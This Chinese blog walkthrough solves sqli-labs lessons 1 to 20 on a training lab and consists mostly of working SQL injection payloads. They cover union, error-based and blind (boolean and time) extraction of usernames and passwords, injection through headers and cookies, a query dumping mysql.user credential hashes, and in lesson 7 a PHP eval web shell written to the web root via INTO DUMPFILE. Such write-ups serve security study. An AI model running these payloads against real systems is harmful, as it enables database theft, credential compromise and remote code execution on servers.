谜团靶机writeup - sqli-lab-basic基本靶场通关指南

数据库:security
表信息如下:
emails:id,email_id
referers:id,referer,ip_address
uagents:id,uagent,ip_address,username
users:id,username,password(有效ID:1-12,14)


lesson-1

http://f7aca08a4a5043e58321a0284592e3a8.app.mituan.zone/Less-1/?id=1' and 1=1 -- q,为了减少不必要的输入,之后只保留最后的关键部分,判断注入点
?id=1' order by 3 -- q 判断字段数
?id=' union all select 1,2,3 -- q 判断回显
?id=' union all select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() -- q 输出表名
?id=' union all select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- q 输出users表的字段名
?id=' union all select 1,database(),group_concat(concat_ws('-',username,password)) from users -- q 查询users表的数据

lesson-2

?id=1 and 1=1 -- q 判断注入点
?id=1 order by 3 -- q 判断字段数
?id=-1 union all select 1,2,3 -- q 判断回显点
?id=-1 union all select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() -- q 输出表名称
?id=-1 union all select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- q 输出字段名称
?id=-1 union all select 1,database(),group_concat(concat_ws('-',username,password)) from users -- q 输出表数据

lesson-3

?id=1') and 1=1 -- q 判断注入点
?id=1') order by 3 -- q 判断字段数
?id=') union all select 1,2,3 -- q 判断回显点
?id=') union all select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() -- q 输出表名称
?id=') union all select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- q 输出字段
?id=') union all select 1,database(),group_concat(concat_ws('-',username,password)) from users -- q 输出数据

lesson-4

?id=1") and 1=1 -- q 判断注入点
?id=1") order by 3 -- q 判断字段数
?id=") union all select 1,2,3 -- q 判断回显点
?id=") union all select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() -- q 输出表名称
?id=") union all select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- q 输出字段
?id=") union all select 1,database(),group_concat(concat_ws('-',username,password)) from users -- q 输出数据

lesson-5

?id=1' and 1=1 -- q 判断注入点
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),3) -- q 报错注入较为简单,这里采用盲注吧
?id=1' and (select count(*) from information_schema.tables where table_schema=database())=4 -- security 判断表数量
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5 -- users 判断表长度
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117 -- u,判断表字母,通过修改substr的第二个参数及ascii的值来判断
?id=1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users')=3 -- iup 判断字段数
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1))=8 -- username 判断字段长度
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))=117 -- u117s115e101r114n110a97m109e101 判断字段字母
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1))=8 -- password 判断另一个字段长度
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),1,1))=112 -- p112a97s115s115w119o111r114d100 判断另一个字段字母
?id=1' and (select count(*) from users)=13 -- c 判断数据量
?id=1' and length((select username from users limit 0,1))=4 -- Dump 判断第一个数据的username字段长度
?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 -- D68u117m109b98 判断第一个数据的username字段字母
?id=1' and length((select password from users limit 0,1))=4 -- Dump 判断第一个数据的password字段长度
?id=1' and ascii(substr((select password from users limit 0,1),1,1))=68 -- D68u117m109b98 判断第一个数据的password字段字母

lesson-6

`?id=1" and 1=1 -- q` 判断注入点
`?id=1" and updatexml(1,concat(0x7e,database(),0x7e),3) -- q` 报错注入较为简单,这里采用盲注吧
`?id=1" and (select count(*) from information_schema.tables where table_schema=database())=4 -- security` 判断表数量
`?id=1" and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5 -- users` 判断表长度
`?id=1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117 -- u` 判断表字母,通过修改substr的第二个参数及ascii的值来判断
`?id=1" and (select count(*) from information_schema.columns where table_schema=database() and table_name='users')=3 -- iup` 判断字段数
`?id=1" and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1))=8 -- username` 判断字段长度
`?id=1" and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))=117 -- u117s115e101r114n110a97m109e101` 判断字段字母
`?id=1" and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1))=8 -- password` 判断另一个字段长度
`?id=1" and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),1,1))=112 -- p112a97s115s115w119o111r114d100` 判断另一个字段字母
`?id=1" and (select count(*) from users)=13 -- c` 判断数据量
`?id=1" and length((select username from users limit 0,1))=4 -- Dump` 判断第一个数据的username字段长度
`?id=1" and ascii(substr((select username from users limit 0,1),1,1))=68 -- D68u117m109b98` 判断第一个数据的username字段字母
`?id=1" and length((select password from users limit 0,1))=4 -- Dump` 判断第一个数据的password字段长度
`?id=1" and ascii(substr((select password from users limit 0,1),1,1))=68 -- D68u117m109b98` 判断第一个数据的password字段字母

lesson-7

  • nginx:/usr/local/nginx/html/home/wwwroot/default/usr/share/nginx/var/www/htm
  • apache:/var/www/htm/var/www/html/htdocs
  • mysql:/var/lib/mysql/
`?id=1')) and 1=1 -- q`
?id=1')) order by 3 -- q
?id=' union select 1,@@datadir,@@basedir -- l1 #借助lesson-1 `var/lib/mysql/ /usr 借助lesson1判断路径
?id=1')) and (select '<?php eval($_REQUEST[8]);?>' into outfile '') -- q
?id=')) union all select 1,2,'<?php eval($_REQUEST[8]);?>' into dumpfile '/usr/local/nginx/html/8.php' -- q

lesson-8

?id=1' and 1=1 -- q 判断注入点
?id=1' and (select count(*) from information_schema.tables where table_schema=database())=4 -- security 判断表数量
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5 -- users 判断表长度
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117 -- u 判断表字母,通过修改substr的第二个参数及ascii的值来判断
?id=1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users')=3 -- iup 判断字段数
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1))=8 -- username 判断字段长度
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))=117 -- u117s115e101r114n110a97m109e101 判断字段字母
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1))=8 -- password 判断另一个字段长度
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),1,1))=112 -- p112a97s115s115w119o111r114d100 判断另一个字段字母
?id=1' and (select count(*) from users)=13 -- c 判断数据量
?id=1' and length((select username from users limit 0,1))=4 -- Dump 判断第一个数据的username字段长度
?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 -- D68u117m109b98 判断第一个数据的username字段字母
?id=1' and length((select password from users limit 0,1))=4 -- Dump 判断第一个数据的password字段长度
?id=1' and ascii(substr((select password from users limit 0,1),1,1))=68 -- D68u117m109b98 判断第一个数据的password字段字母

lesson-9

?id=1' and sleep(5) -- q 判断注入点
?id=1' and if(((select count(*) from information_schema.tables where table_schema=database())=4),sleep(5),0) -- security 判断表数量
?id=1' and if((length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5),sleep(5),0) -- users 判断表长度
?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117),sleep(5),0) -- u 判断表字母,通过修改substr的第二个参数及ascii的值来判断
?id=1' and if(((select count(*) from information_schema.columns where table_schema=database() and table_name='users')=3),sleep(5),0) -- iup 判断字段数
?id=1' and if((length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1))=8),sleep(5),0) -- username 判断字段长度
?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))=117),sleep(5),1) -- u117s115e101r114n110a97m109e101 判断字段字母
?id=1' and if((length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1))=8),sleep(5),1) -- password 判断另一个字段长度
?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),1,1))=112),sleep(5),1) -- p112a97s115s115w119o111r114d100 判断另一个字段字母
?id=1' and if(((select count(*) from users)=13),sleep(5),1) -- c 判断数据量
?id=1' and if((length((select username from users limit 0,1))=4),sleep(5),1) -- Dump 判断第一个数据的username字段长度
?id=1' and if((ascii(substr((select username from users limit 0,1),1,1))=68),sleep(5),1) -- D68u117m109b98 判断第一个数据的username字段字母
?id=1' and if((length((select password from users limit 0,1))=4),sleep(5),1) -- Dump 判断第一个数据的password字段长度
?id=1' and if((ascii(substr((select password from users limit 0,1),1,1))=68),sleep(5),1) -- D68u117m109b98 判断第一个数据的password字段字母

lesson-10

?id=1" and sleep(5) -- q 判断注入点
?id=1" and if(((select count(*) from information_schema.tables where table_schema=database())=4),sleep(5),0) -- security 判断表数量
?id=1" and if((length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5),sleep(5),0) -- users 判断表长度
?id=1" and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117),sleep(5),0) -- u 判断表字母,通过修改substr的第二个参数及ascii的值来判断
?id=1" and if(((select count(*) from information_schema.columns where table_schema=database() and table_name='users')=3),sleep(5),0) -- iup 判断字段数
?id=1" and if((length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1))=8),sleep(5),0) -- username 判断字段长度
?id=1" and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))=117),sleep(5),1) -- u117s115e101r114n110a97m109e101 判断字段字母
?id=1" and if((length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1))=8),sleep(5),1) -- password 判断另一个字段长度
?id=1" and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),1,1))=112),sleep(5),1) -- p112a97s115s115w119o111r114d100 判断另一个字段字母
?id=1" and if(((select count(*) from users)=13),sleep(5),1) -- c 判断数据量
?id=1" and if((length((select username from users limit 0,1))=4),sleep(5),1) -- Dump 判断第一个数据的username字段长度
?id=1" and if((ascii(substr((select username from users limit 0,1),1,1))=68),sleep(5),1) -- D68u117m109b98 判断第一个数据的username字段字母
?id=1" and if((length((select password from users limit 0,1))=4),sleep(5),1) -- Dump 判断第一个数据的password字段长度
?id=1" and if((ascii(substr((select password from users limit 0,1),1,1))=68),sleep(5),1) -- D68u117m109b98 判断第一个数据的password字段字母

lesson-11

在这里插入图片描述

uname=admin' and 1=1#&passwd=&submit=Submit
uname=admin' and updatexml(1,concat(0x7e,(database()),0x7e),3)#&passwd=&submit=Submit 报错
uname=admin' order by 2#&passwd=&submit=Submit
uname=' union all select 1,2#&passwd=&submit=Submit
uname=' union all select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=&submit=Submit

lesson-12

在这里插入图片描述

uname=admin") and 1=1#&passwd=&submit=Submit
uname=admin") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3)#&passwd=&submit=Submit
uname=admin") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),3)#&passwd=&submit=Submit

lesson-13

uname=admin') and 1=1#&passwd=&submit=Submit
uname=admin')  and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3)#&passwd=&submit=Submit
uname=admin')  and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),3)#&passwd=&submit=Submit

lesson-14

uname=admin" and 1=1#&passwd=&submit=Submit
uname=admin"  and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3)#&passwd=&submit=Submit
uname=admin"  and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),3)#&passwd=&submit=Submit

lesson-15

uname=admin' and 1=1#&passwd=&submit=Submit
uname=admin' and (select count(*) from information_schema.tables where table_schema=database())=4#&passwd=&submit=Submit #判断表数量
uname=admin' and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5#&passwd=&submit=Submit #判断第4个表长度
uname=admin' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117#&passwd=&submit=Submit #判断第4个表名称
uname=admin' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users')=3#&passwd=&submit=Submit #判断列数
uname=admin' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1))=8#&passwd=&submit=Submit #判断列长度
uname=admin' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))=117#&passwd=&submit=Submit #判断列名称
uname=admin' and (select count(*) from users)=13#&passwd=&submit=Submit #判断数据量
uname=admin' and length((select username from users limit 0,1))=4#&passwd=&submit=Submit #判断用户名长度
uname=admin' and ascii(substr((select username from users limit 0,1),1,1))=68#&passwd=&submit=Submit #判断用户名字母

lesson-16

uname=admin") and 1=1#&passwd=&submit=Submit
uname=admin") and (select count(*) from information_schema.tables where table_schema=database())=4#&passwd=&submit=Submit #判断表数量
uname=admin") and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5#&passwd=&submit=Submit #判断第4个表长度
uname=admin") and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117#&passwd=&submit=Submit #判断第4个表名称
uname=admin") and (select count(*) from information_schema.columns where table_schema=database() and table_name='users')=3#&passwd=&submit=Submit #判断列数
uname=admin") and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1))=8#&passwd=&submit=Submit #判断列长度
uname=admin") and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))=117#&passwd=&submit=Submit #判断列名称
uname=admin") and (select count(*) from users)=13#&passwd=&submit=Submit #判断数据量
uname=admin") and length((select username from users limit 0,1))=4#&passwd=&submit=Submit #判断用户名长度
uname=admin") and ascii(substr((select username from users limit 0,1),1,1))=68#&passwd=&submit=Submit #判断用户名字母

lesson-17

在这里插入图片描述

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(database()),0x7e),3)#&submit=Submit
uname=admin&passwd=' or updatexml(1,concat(0x7e,(database()),0x7e),3)#&submit=Submit
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3)#&submit=Submit
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),3)#&submit=Submit

lesson-18

在这里插入图片描述

User-Agent: ' or updatexml(1,concat(0x7e,(database()),0x7e),3) or '1'='1
User-Agent: ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3) or '1'='1
User-Agent: ' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),3) or '1'='1

lesson-19

在这里插入图片描述

Referer: ' or  updatexml(1,concat(0x7e,(database()),0x7e),3) or '1'='1
Referer: ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3) or '1'='1
Referer: ' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),3) or '1'='1

lesson-20

第一个包提交数据,第二个包含有cookie信息。
在这里插入图片描述

在这里插入图片描述

Cookie: uname=a' union all select 1,2,3 -- q 联合注入
Cookie: uname=' or  updatexml(1,concat(0x7e,(database()),0x7e),3) -- q 报错注入
Cookie: uname=' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3) or '1'='1
Cookie: uname=' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),3) or '1'='1

记录

  • 查询权限:?id=' union all select 1,group_concat(concat_ws('-',Host,User,Password,authentication_string)),3 from mysql.user -- q
  • 禁用substr怎么办:?id=1' and ord(mid(database(),1,1))=115-- a?id=1' and (left(database(),2))='se'-- a
  • floor报错1:第五关?id=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- 侠客文库
  • floor报错2:第五关?id=-1' union select count(*),1,concat('@',(select database()),'@',floor(rand()*2)) as a from information_schema.tables group by a -- 安定坊多刷新几次总会报错的
  • 待定
  • 热爱网络安全的小菜狗
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值